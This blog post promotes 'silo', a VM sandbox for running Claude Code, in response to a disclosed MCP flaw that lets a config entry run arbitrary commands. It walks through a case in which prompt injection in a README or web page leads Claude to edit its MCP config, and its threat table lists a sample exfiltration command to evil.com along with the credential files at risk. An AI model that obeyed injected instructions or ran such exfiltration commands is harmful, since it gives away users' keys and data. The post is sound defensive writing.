Running Claude Code in silo when every MCP server is a loaded gun
OX Security disclosed a by-design MCP vulnerability that turns a config entry into arbitrary command execution on the user's laptop. Anthropic calls it expected behaviour. Running Claude Code inside silo turns this RCE into a torn-down VM with no keys, no network, no history to steal.
The Hacker News ran a piece this week on OX Security’s disclosure of a design flaw in Anthropic’s Model Context Protocol. The short version, from the researchers:
This flaw enables Arbitrary Command Execution (RCE) on any system running a vulnerable MCP implementation, granting attackers direct access to sensitive user data, internal databases, API keys, and chat histories.
Ten CVEs across LiteLLM, LangChain, LangFlow, Flowise, DocsGPT, Windsurf, and friends. Over 7,000 publicly reachable MCP servers. 150M+ downloads of affected packages. Anthropic’s position: the behaviour is expected, no protocol-level fix is coming.
If you’re running Claude Code and using MCP servers — which is the default experience — this is worth understanding, and worth doing something about.
The actual bug, in one paragraph
MCP’s STDIO transport lets a client spawn a server as a subprocess. The command that gets spawned is a string in a config file (~/.claude/mcp.json, ./.mcp.json, equivalents in LangChain / LiteLLM / etc). There is no sandbox, no allowlist, no signing. Anyone who can write a string into that config gets arbitrary command execution under the user’s uid, with the user’s ssh keys, cloud credentials, browser cookies, and chat history sitting right next to the spawned process.
“Anyone who can write a string into that config” includes:
- A malicious npm/pip postinstall — supply chain. You
npm install a-helpful-tool, it writes into~/.claude/mcp.json, next time Claude starts, the command runs. - A prompt-injected Claude session — Claude reads a README, a docstring, a GitHub issue, a web page. Hidden instructions tell it “you should install this useful MCP server to answer my question.” Claude obliges by editing the config. Next session, RCE.
- An MCP marketplace — “install this server” flows that fetch a config and write it locally.
- A vulnerability in any of the 7,000+ MCP-enabled projects — LangChain, LiteLLM, Windsurf, etc. If any of them parses external input into an MCP config, you get RCE through them.
The researchers’ recommendations:
Block public IP access to sensitive services, monitor MCP tool invocations, run MCP-enabled services in a sandbox, treat external MCP configuration input as untrusted, and only install MCP servers from verified sources.
“Run MCP-enabled services in a sandbox” is the sentence silo was written for.
What RCE looks like with silo in the way
Silo runs dev tools (Claude Code included) inside ephemeral Apple Containerization micro-VMs. Each invocation boots a fresh VM, mounts only the current project directory, has no network by default, and is torn down when you exit. Cross-reference the researchers’ threat list against what’s actually reachable from inside that VM:
| What the attacker wants | Host | silo VM |
|---|---|---|
~/.ssh/id_ed25519, known_hosts | present | file doesn’t exist |
~/.aws/credentials, ~/.config/gcloud, ~/.kube/config | present | none of it mounted |
~/.claude/conversation_history.json | present | lives inside the VM, dies with it |
| Browser cookies / keychain | present | wrong filesystem, wrong OS surface |
curl -X POST evil.com -d @secrets | works | no network unless allowlisted |
| Install a launchd/cron persistence | works | VM is ephemeral; nothing survives the session |
| Read other projects on disk | works | they’re not mounted |
Full env dump (DATABASE_URL, OPENAI_API_KEY, …) | works | only what’s in passEnv is visible; defaults to nothing |
In other words, pull the blast radius of this RCE down from “my laptop” to “a disposable Linux VM with 1 GB of Python and nothing else.”
That’s exactly the paragraph the OX researchers wrote the recommendation for.
What silo doesn’t fix
Being honest about the boundaries, because they matter:
-
Your current project directory is mounted read-write. Claude needs to edit your code — that’s why you’re using it. A prompt-injected Claude can still write a backdoor into
package.json, into a CI workflow, into a lockfile. If you then git-push that, the attack has moved out of silo’s control. silo protects the machine, not the repo. -
Allowlisted network is still network. If you’ve allowlisted
github.combecause Claude needs to push, and you’ve forwardedGITHUB_TOKENviapassEnvbecauseghneeds it, a prompt-injected Claude can push a backdoored branch. Don’t give Claude more credentials than the task needs. -
Prompt injection itself is not prevented. silo doesn’t make Claude smarter about trusting input. It just caps the damage.
-
MCP servers running inside the VM still run. The spawned subprocess runs — just in the VM, with the VM’s (tiny) permissions. The goal isn’t “prevent MCP from executing commands”, it’s “don’t let those commands see things they shouldn’t.”
Concrete silo.toml for Claude Code
The least-privilege setup for running Claude Code through silo:
# silo.toml in your project root
tools = ["claude-code"]
passEnv = ["ANTHROPIC_API_KEY"] # the only secret Claude needs
passFiles = [] # no ~/.netrc, no ~/.aws, no ~/.ssh
[overrides.claude-code.network]
hostAccess = true # required alongside proxy (overrides replace the network block)
[overrides.claude-code.network.proxy]
allow = [
"api.anthropic.com", # needed for Claude itself
# add only the MCP destinations you actually use:
"registry.npmjs.org",
"files.pythonhosted.org",
]
Rules:
- Every entry in
passEnvis a handle an attacker can pull during RCE. Give ClaudeANTHROPIC_API_KEYand nothing else. If a specific task needsGITHUB_TOKEN, add it temporarily, remove it after. - Every entry in
passFilesis a file the attacker can exfiltrate if they find a way to the (allowlisted) network. Don’t forward credential files at all. - Every entry in
network.proxy.allowis a potential exfil destination. Be specific.*.github.comis too broad;api.github.comis narrower.
Install & try it
brew install rchekalov/apps/silo # installs the CLI + prebuilt runtime
eval "$(silo shellenv)" # add silo shims to PATH
silo install claude-code # bakes node:22-slim + apt deps + npm i -g @anthropic-ai/claude-code
cd my-project
silo run claude # or just `claude` via the shim
The first run prompts once for the interactive OAuth login (Claude subscription or Anthropic Console). Credentials persist to ~/.silo/cache/claude-code/config/ — isolated from your host’s ~/.claude/ — and every subsequent silo run claude skips the prompt. If you have ANTHROPIC_API_KEY set on the host, silo passes it through automatically and there’s no login prompt at all.
Your first real-world action should be to write a silo.toml like the one above before you start trusting any MCP server you haven’t audited line-by-line.
What we’re doing next on the silo side
This disclosure is specifically about MCP. The sandbox story silo already gives you covers most of the blast radius. A few MCP-specific improvements are on the roadmap:
- MCP audit log — sniff the JSON-RPC between Claude and its MCP subprocesses, write to
~/.silo/logs/<tool>/mcp.jsonl. Post-mortem forensics when something feels off. - MCP command allowlist in
silo.toml— explicit whitelist of allowed MCP-server commands. Anything a prompt-injection or malicious config tries to spawn that isn’t on the list gets blocked at the exec boundary. - Read-only MCP config files in the VM — if Claude tries to rewrite
.mcp.jsonfrom inside the sandbox, the syscall fails instead of silently persisting.
None of these are shipped yet; they’re gated on whether users hit cases where the baseline isolation isn’t enough. If that’s you — open an issue at github.com/rchekalov/silo.
The bigger point
OX Security’s closing line is worth quoting:
What made this a supply chain event rather than a single CVE is that one architectural decision, made once, propagated silently into every language, every downstream library, and every project that trusted the protocol to be what it appeared to be.
MCP isn’t going to get safer by design any time soon. The model going forward is the same as every other piece of dev tooling that runs arbitrary code: treat it as hostile by default, and give it only the resources the task requires. That’s the threat model silo was built for. Use it, or build something equivalent — but please don’t run MCP servers on the same uid that has your AWS root keys and your company’s entire codebase.
← all posts